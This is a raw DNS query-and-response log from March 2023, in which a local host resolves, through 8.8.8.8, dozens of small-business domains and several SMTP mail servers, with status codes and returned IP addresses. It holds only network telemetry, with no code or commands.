Mar 10, 2023 07:56:30.060710907 CET	8.8.8.8	192.168.2.6	0xa178	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.138345957 CET	8.8.8.8	192.168.2.6	0x3ca6	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.232407093 CET	8.8.8.8	192.168.2.6	0xed9a	No error (0)	arowines.com		104.164.117.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.248122931 CET	8.8.8.8	192.168.2.6	0x541d	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.268285036 CET	8.8.8.8	192.168.2.6	0x316e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.326108932 CET	8.8.8.8	192.168.2.6	0x45b4	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.332946062 CET	8.8.8.8	192.168.2.6	0xdc0	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.372963905 CET	8.8.8.8	192.168.2.6	0x65d7	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:30.396147013 CET	8.8.8.8	192.168.2.6	0x2828	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.402010918 CET	8.8.8.8	192.168.2.6	0x4996	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.458666086 CET	8.8.8.8	192.168.2.6	0xa0bd	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.477018118 CET	8.8.8.8	192.168.2.6	0xef41	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.477018118 CET	8.8.8.8	192.168.2.6	0xef41	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.479537010 CET	8.8.8.8	192.168.2.6	0xe02f	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.609030008 CET	8.8.8.8	192.168.2.6	0x281	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.613734961 CET	8.8.8.8	192.168.2.6	0x10bc	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.660012007 CET	8.8.8.8	192.168.2.6	0x1873	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.674524069 CET	8.8.8.8	192.168.2.6	0x7dd7	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.704005003 CET	8.8.8.8	192.168.2.6	0xca0c	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.717552900 CET	8.8.8.8	192.168.2.6	0x65e9	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.717552900 CET	8.8.8.8	192.168.2.6	0x65e9	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.756721020 CET	8.8.8.8	192.168.2.6	0x13e1	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.756721020 CET	8.8.8.8	192.168.2.6	0x13e1	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.756721020 CET	8.8.8.8	192.168.2.6	0x13e1	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.756721020 CET	8.8.8.8	192.168.2.6	0x13e1	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.009056091 CET	8.8.8.8	192.168.2.6	0x4759	No error (0)	revoldia.net		45.200.235.135	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.019884109 CET	8.8.8.8	192.168.2.6	0xcf46	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.074228048 CET	8.8.8.8	192.168.2.6	0x9856	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.244667053 CET	8.8.8.8	192.168.2.6	0x541d	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.307074070 CET	8.8.8.8	192.168.2.6	0xd458	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.307117939 CET	8.8.8.8	192.168.2.6	0x4583	No error (0)	rast.se		89.221.250.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.331464052 CET	8.8.8.8	192.168.2.6	0x6ec3	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.427164078 CET	8.8.8.8	192.168.2.6	0x180	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.427164078 CET	8.8.8.8	192.168.2.6	0x180	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.427164078 CET	8.8.8.8	192.168.2.6	0x180	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.427164078 CET	8.8.8.8	192.168.2.6	0x180	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.432971954 CET	8.8.8.8	192.168.2.6	0xeb8	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.451837063 CET	8.8.8.8	192.168.2.6	0xef1d	No error (0)	geecl.com		213.175.217.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.487728119 CET	8.8.8.8	192.168.2.6	0x6904	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.523264885 CET	8.8.8.8	192.168.2.6	0x19f2	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.713430882 CET	8.8.8.8	192.168.2.6	0xf5cd	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.743916035 CET	8.8.8.8	192.168.2.6	0xfa96	No error (0)	eos-i.com	macx1980.qy56.supcname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:31.743916035 CET	8.8.8.8	192.168.2.6	0xfa96	No error (0)	macx1980.qy56.supcname.com	mfddos.datacname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:31.743916035 CET	8.8.8.8	192.168.2.6	0xfa96	No error (0)	mfddos.datacname.com	15.204.18.132.datacname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:31.743916035 CET	8.8.8.8	192.168.2.6	0xfa96	No error (0)	15.204.18.132.datacname.com		15.204.18.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.763335943 CET	8.8.8.8	192.168.2.6	0x7ddb	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.763335943 CET	8.8.8.8	192.168.2.6	0x7ddb	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.781852007 CET	8.8.8.8	192.168.2.6	0xffd8	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.813957930 CET	8.8.8.8	192.168.2.6	0x246e	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.813957930 CET	8.8.8.8	192.168.2.6	0x246e	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.813957930 CET	8.8.8.8	192.168.2.6	0x246e	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.864943981 CET	8.8.8.8	192.168.2.6	0x3915	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.898035049 CET	8.8.8.8	192.168.2.6	0xdd2b	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.925407887 CET	8.8.8.8	192.168.2.6	0xd281	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:32.101217031 CET	8.8.8.8	192.168.2.6	0xe44a	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:32.306251049 CET	8.8.8.8	192.168.2.6	0x316e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:32.699037075 CET	8.8.8.8	192.168.2.6	0xf5cd	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:32.837510109 CET	8.8.8.8	192.168.2.6	0xcf90	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:33.260236025 CET	8.8.8.8	192.168.2.6	0x541d	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:33.853533983 CET	8.8.8.8	192.168.2.6	0xcf90	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:34.283910990 CET	8.8.8.8	192.168.2.6	0xd303	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:34.909529924 CET	8.8.8.8	192.168.2.6	0xcf90	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:35.291363955 CET	8.8.8.8	192.168.2.6	0xd303	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:36.292824984 CET	8.8.8.8	192.168.2.6	0xd303	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:36.453227043 CET	8.8.8.8	192.168.2.6	0xc848	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:36.917114019 CET	8.8.8.8	192.168.2.6	0xcf90	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.152762890 CET	8.8.8.8	192.168.2.6	0x6b16	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.303124905 CET	8.8.8.8	192.168.2.6	0x2116	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.303124905 CET	8.8.8.8	192.168.2.6	0x2116	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.303124905 CET	8.8.8.8	192.168.2.6	0x2116	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.766659975 CET	8.8.8.8	192.168.2.6	0x9c14	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.787796021 CET	8.8.8.8	192.168.2.6	0xbfa3	No error (0)	semuk.com		52.128.23.153	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.951097965 CET	8.8.8.8	192.168.2.6	0x4536	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.000045061 CET	8.8.8.8	192.168.2.6	0xc873	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.263737917 CET	8.8.8.8	192.168.2.6	0xf37f	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.263737917 CET	8.8.8.8	192.168.2.6	0xf37f	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.263737917 CET	8.8.8.8	192.168.2.6	0xf37f	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.263737917 CET	8.8.8.8	192.168.2.6	0xf37f	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.543423891 CET	8.8.8.8	192.168.2.6	0xc878	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:42.239648104 CET	8.8.8.8	192.168.2.6	0x5e11	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:42.239648104 CET	8.8.8.8	192.168.2.6	0x5e11	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:42.430754900 CET	8.8.8.8	192.168.2.6	0x7090	No error (0)	beafin.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:44.130114079 CET	8.8.8.8	192.168.2.6	0x38db	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:44.130114079 CET	8.8.8.8	192.168.2.6	0x38db	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:44.130114079 CET	8.8.8.8	192.168.2.6	0x38db	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.367871046 CET	8.8.8.8	192.168.2.6	0xd24	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.370842934 CET	8.8.8.8	192.168.2.6	0xe035	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.373203039 CET	8.8.8.8	192.168.2.6	0x6415	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.373203039 CET	8.8.8.8	192.168.2.6	0x6415	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.506781101 CET	8.8.8.8	192.168.2.6	0xff71	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.511512995 CET	8.8.8.8	192.168.2.6	0xbf79	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.511512995 CET	8.8.8.8	192.168.2.6	0xbf79	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.683371067 CET	8.8.8.8	192.168.2.6	0xfdcb	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.746156931 CET	8.8.8.8	192.168.2.6	0x8838	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.793567896 CET	8.8.8.8	192.168.2.6	0xb838	No error (0)	vfcindia.com		68.71.135.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.059751034 CET	8.8.8.8	192.168.2.6	0x125	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.059751034 CET	8.8.8.8	192.168.2.6	0x125	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.358290911 CET	8.8.8.8	192.168.2.6	0xc91b	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.359373093 CET	8.8.8.8	192.168.2.6	0x533d	No error (0)	assideum.com		52.219.100.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.367355108 CET	8.8.8.8	192.168.2.6	0xc2ed	No error (0)	rast.se		89.221.250.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.380393028 CET	8.8.8.8	192.168.2.6	0xa866	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.399950027 CET	8.8.8.8	192.168.2.6	0xdddb	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.550486088 CET	8.8.8.8	192.168.2.6	0x2ade	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.563711882 CET	8.8.8.8	192.168.2.6	0x5deb	No error (0)	gcss.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.601947069 CET	8.8.8.8	192.168.2.6	0x3185	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.810606003 CET	8.8.8.8	192.168.2.6	0x225b	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.219194889 CET	8.8.8.8	192.168.2.6	0x1927	No error (0)	adventist.ro		104.21.48.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.219194889 CET	8.8.8.8	192.168.2.6	0x1927	No error (0)	adventist.ro		172.67.183.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.448426962 CET	8.8.8.8	192.168.2.6	0x8868	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.448426962 CET	8.8.8.8	192.168.2.6	0x8868	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.539793968 CET	8.8.8.8	192.168.2.6	0xe02a	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:48.277396917 CET	8.8.8.8	192.168.2.6	0x417d	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:48.277396917 CET	8.8.8.8	192.168.2.6	0x417d	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:51.357419014 CET	8.8.8.8	192.168.2.6	0xd333	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:51.465043068 CET	8.8.8.8	192.168.2.6	0x90ea	No error (0)	smtp.compuserve.com	east.us.smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:51.465043068 CET	8.8.8.8	192.168.2.6	0x90ea	No error (0)	east.us.smtp.aol.com	smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:51.465043068 CET	8.8.8.8	192.168.2.6	0x90ea	No error (0)	smtp.aol.com	smtp.cs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:51.465043068 CET	8.8.8.8	192.168.2.6	0x90ea	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:51.465043068 CET	8.8.8.8	192.168.2.6	0x90ea	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:52.789577961 CET	8.8.8.8	192.168.2.6	0xd333	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:54.045618057 CET	8.8.8.8	192.168.2.6	0xd333	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.756970882 CET	8.8.8.8	192.168.2.6	0xec3d	No error (0)	aiolos-sa.gr		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.756970882 CET	8.8.8.8	192.168.2.6	0xec3d	No error (0)	aiolos-sa.gr		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.757498980 CET	8.8.8.8	192.168.2.6	0x393f	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.757529974 CET	8.8.8.8	192.168.2.6	0x427a	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.758172035 CET	8.8.8.8	192.168.2.6	0xff7f	No error (0)	keio-web.com		219.94.128.216	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.758569956 CET	8.8.8.8	192.168.2.6	0x6824	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.760747910 CET	8.8.8.8	192.168.2.6	0x5f33	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.760792017 CET	8.8.8.8	192.168.2.6	0xf148	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.762578964 CET	8.8.8.8	192.168.2.6	0x8515	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.764883041 CET	8.8.8.8	192.168.2.6	0x2544	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.764883041 CET	8.8.8.8	192.168.2.6	0x2544	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.773828030 CET	8.8.8.8	192.168.2.6	0xa3af	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.779361963 CET	8.8.8.8	192.168.2.6	0xab27	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.797028065 CET	8.8.8.8	192.168.2.6	0x9460	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.797028065 CET	8.8.8.8	192.168.2.6	0x9460	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.798886061 CET	8.8.8.8	192.168.2.6	0xa2f9	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.804330111 CET	8.8.8.8	192.168.2.6	0x367d	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.840707064 CET	8.8.8.8	192.168.2.6	0xeb73	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.842519999 CET	8.8.8.8	192.168.2.6	0x8720	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.844016075 CET	8.8.8.8	192.168.2.6	0x612e	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.846451044 CET	8.8.8.8	192.168.2.6	0x3c12	No error (0)	ifesnet.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.846451044 CET	8.8.8.8	192.168.2.6	0x3c12	No error (0)	ifesnet.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.865686893 CET	8.8.8.8	192.168.2.6	0xb5f7	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.874722958 CET	8.8.8.8	192.168.2.6	0x405	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.877515078 CET	8.8.8.8	192.168.2.6	0xd950	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878050089 CET	8.8.8.8	192.168.2.6	0x2dc6	No error (0)	anduran.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878050089 CET	8.8.8.8	192.168.2.6	0x2dc6	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878050089 CET	8.8.8.8	192.168.2.6	0x2dc6	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878050089 CET	8.8.8.8	192.168.2.6	0x2dc6	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878204107 CET	8.8.8.8	192.168.2.6	0xfe91	No error (0)	dspears.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878204107 CET	8.8.8.8	192.168.2.6	0xfe91	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878204107 CET	8.8.8.8	192.168.2.6	0xfe91	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878204107 CET	8.8.8.8	192.168.2.6	0xfe91	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.881628990 CET	8.8.8.8	192.168.2.6	0xed39	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.881628990 CET	8.8.8.8	192.168.2.6	0xed39	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.884835958 CET	8.8.8.8	192.168.2.6	0xfa7	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.888267994 CET	8.8.8.8	192.168.2.6	0x21f2	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.889538050 CET	8.8.8.8	192.168.2.6	0x2320	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.889538050 CET	8.8.8.8	192.168.2.6	0x2320	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.889538050 CET	8.8.8.8	192.168.2.6	0x2320	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.889538050 CET	8.8.8.8	192.168.2.6	0x2320	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.890496969 CET	8.8.8.8	192.168.2.6	0x92f9	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.891047955 CET	8.8.8.8	192.168.2.6	0x4b5	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.891694069 CET	8.8.8.8	192.168.2.6	0x53f4	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.892548084 CET	8.8.8.8	192.168.2.6	0xe245	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.893827915 CET	8.8.8.8	192.168.2.6	0xdd61	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.895945072 CET	8.8.8.8	192.168.2.6	0x7528	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.895945072 CET	8.8.8.8	192.168.2.6	0x7528	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.895945072 CET	8.8.8.8	192.168.2.6	0x7528	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.895945072 CET	8.8.8.8	192.168.2.6	0x7528	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.909112930 CET	8.8.8.8	192.168.2.6	0x9b7c	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.911680937 CET	8.8.8.8	192.168.2.6	0x716e	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.912628889 CET	8.8.8.8	192.168.2.6	0x5a9c	No error (0)	nrsi.com		76.223.35.103	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.920819998 CET	8.8.8.8	192.168.2.6	0xd4f2	No error (0)	plaske.ua		52.211.245.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.921228886 CET	8.8.8.8	192.168.2.6	0xfd18	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
